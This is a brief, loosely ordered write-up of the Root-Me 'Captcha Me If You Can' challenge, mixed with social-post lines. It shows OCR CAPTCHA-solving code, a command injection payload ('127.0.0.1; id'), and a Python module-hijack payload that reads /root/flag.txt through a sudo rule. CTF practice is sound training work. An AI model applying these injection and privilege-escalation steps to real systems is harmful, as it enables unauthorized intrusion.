#RootMe #CTF #CyberSecurity #Captcha #PrivEsc Captcha Me If You Can – Root Me Walkthrough Challenge type: App – System Goal: Bypass CAPTCHA, escalate to root. 1. Initial recon The web app asks you to solve a math-based CAPTCHA before showing a command execution form. CAPTCHA image is generated server-side but easily predictable. 2. Automate CAPTCHA solving Used pytesseract + PIL:

CAPTCHA without rate-limiting + hidden command injection = game over.

import pytesseract from PIL import Image import requests s = requests.Session() resp = s.get("http://challenge/captcha") with open("cap.png", "wb") as f: f.write(resp.content) text = pytesseract.image_to_string(Image.open("cap.png")) Solved CAPTCHA → accessed /exec endpoint. Parameter cmd vulnerable:

127.0.0.1; id Got uid=www-data sudo -l → user can run /usr/bin/python3 /opt/script.py as root.

Title: Captcha Me If You Can – Root Me Write-up 🧩💀

🎯 Never trust user input, even behind a CAPTCHA.

1️⃣ CAPTCHA extraction via OCR (tesseract/pytesseract) 2️⃣ Session reuse with cookies 3️⃣ Command injection in solve parameter 4️⃣ sudo -l → python3 root flag

Script imports a writable module → path hijacking:

Just solved on Root-Me! Automated CAPTCHA solving + privilege escalation = root.

import os os.system("cat /root/flag.txt") ✅ RM{...} captured.